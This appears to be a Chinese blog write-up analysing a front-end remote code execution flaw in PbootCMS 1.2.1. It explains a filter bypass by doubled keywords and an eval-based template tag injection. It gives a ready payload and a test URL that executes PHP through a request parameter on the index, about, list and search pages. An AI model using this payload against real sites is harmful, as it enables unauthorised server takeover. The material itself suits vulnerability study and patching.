PbootCMS前台代码执行

 

PbootCMS是翱云科技开发的全新内核且永久开源免费的PHP企业网站开发建设管理系统

内核 thinkphp

PbootCMS-V1.2.1

├─ apps         应用程序

│  ├─ admin     后台模块

│  ├─ api       api模块

│  ├─ common    公共模块

│  ├─ home      前台模块

├─ config       配置文件

│  ├─ config.php    配置文件

│  ├─ database.php  数据库配置文件

│  ├─ route.php     用户自定义路由规则

├─ core         框架核心

│  ├─ function  框架公共函数库

│  │  ├─ handle.php 助手函数库1

│  │  ├─ helper.php 助手函数库2

├─ template     html模板

├─ admin.php    管理端入口文件

├─ api.php      api入口文件

├─ index.php    前端入口文件

找到外部访问的点  进行 $_GET   $_POST  $_COOKIE  进行数据检测

在core/function 框架公共函数库   我handle.php 助手1 和 helper.php 助手2

会把所有接收的字符串进行处理,将过滤的函数替换为空

这里用双写就可以绕过

Updatexml  updaupdatexmltexml

 

代码执行

 

通过敏感函数定位,到这里

需要绕过的地方

 

这里会把 if 标签内的函数 执行位置 判断是否为函数

如果是的话,就为危险 退出,不执行eval

绕过的方法,是function_exists  为 false

 eval 是一种语言结构,不是函数

 

所以在 function_exists 的时候 返回false  进行了绕过。

触发流程

 

{poot:if(php code)}{/poot:if}

触发该标签即可

php code  要以eval(xxx) 这样来执行

因为判断了 $matches2[1] 这个位置

 

執行parserIfLabel  parserAfter

 

 跑了parserAfter 的地方,比如 Index 這裏

 

 我在後台做一個測試

 

保存,在主頁  直接访问主页测试,可以触发

 

這是閉合后的

{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}

 

没有闭合前

 

$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';

主要还是配合 正则匹配的规则 然后进行多余的代码闭合 最后可以任意执行代码

{pboot:if(eval($_REQUEST[1]));//)}}{/pboot:if}

代码执行

除了这index之外   about、 list 、search  几处都可以

那么如何前台利用 ~

payload idnex 处   其他几处利用方法相同 

view-source:http://127.0.0.1/pt1.2/index.php/index?echod={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

  

{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if} 可以看到在源码这一块输出 是没有这个标签的,因为标签的代入,进行了解析,从而执行了代码。

猜你喜欢

转载自www.cnblogs.com/0xdd/p/10848602.html